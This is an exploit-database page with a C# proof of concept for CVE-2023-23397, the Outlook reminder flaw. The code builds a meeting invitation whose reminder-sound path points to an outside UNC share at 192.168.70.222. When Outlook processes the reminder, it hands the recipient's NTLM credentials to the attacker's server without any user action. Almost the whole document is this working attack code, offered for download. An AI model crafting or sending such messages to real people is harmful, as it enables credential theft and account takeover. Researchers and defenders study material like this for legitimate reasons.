Exploit databaseDownload repository ZIP
GH-4a4621686a176433b9692bc6ed0b7192
ahmedkhlief/cve-2023-23397-poc
Sources for CVE-2023-23397
37 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
ahmedkhlief/cve-2023-23397-pocRevision 7997434229d2
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
Exploit.cs
C# · 1,295 bytesusing System;
using System.Collections.Generic;
using System.IO;
using MsgKit;
using MsgKit.Enums;
class Sample
{
public static void Main()
{
using (var appointment = new Appointment(
new Sender("[email protected]", "attacker"),
new Representing("[email protected]", "attacker"), "Testing Appointment"))
{
appointment.Recipients.AddTo("[email protected]", "Ahmed Khlief");
appointment.Subject = "test";
appointment.Location = "test";
appointment.MeetingStart = DateTime.Now.Date;
appointment.MeetingEnd = DateTime.Now.AddHours(2);;
appointment.AllDay = true;
appointment.BodyText = "Hello, thanks for your tume";
appointment.BodyHtml = "<html><head></head><body><b>Hello, thanks for your time </b></body></html>";
appointment.SentOn = DateTime.UtcNow;
appointment.Importance = MsgKit.Enums.MessageImportance.IMPORTANCE_NORMAL;
appointment.IconIndex = MsgKit.Enums.MessageIconIndex.UnsentMail;
appointment.PidLidReminderFileParameter = @"\\192.168.70.222\foobar";
appointment.PidLidReminderOverride = true;
appointment.PidLidReminderPlaySound = true;
appointment.Save(@"c:/appointment.msg");
}
}
}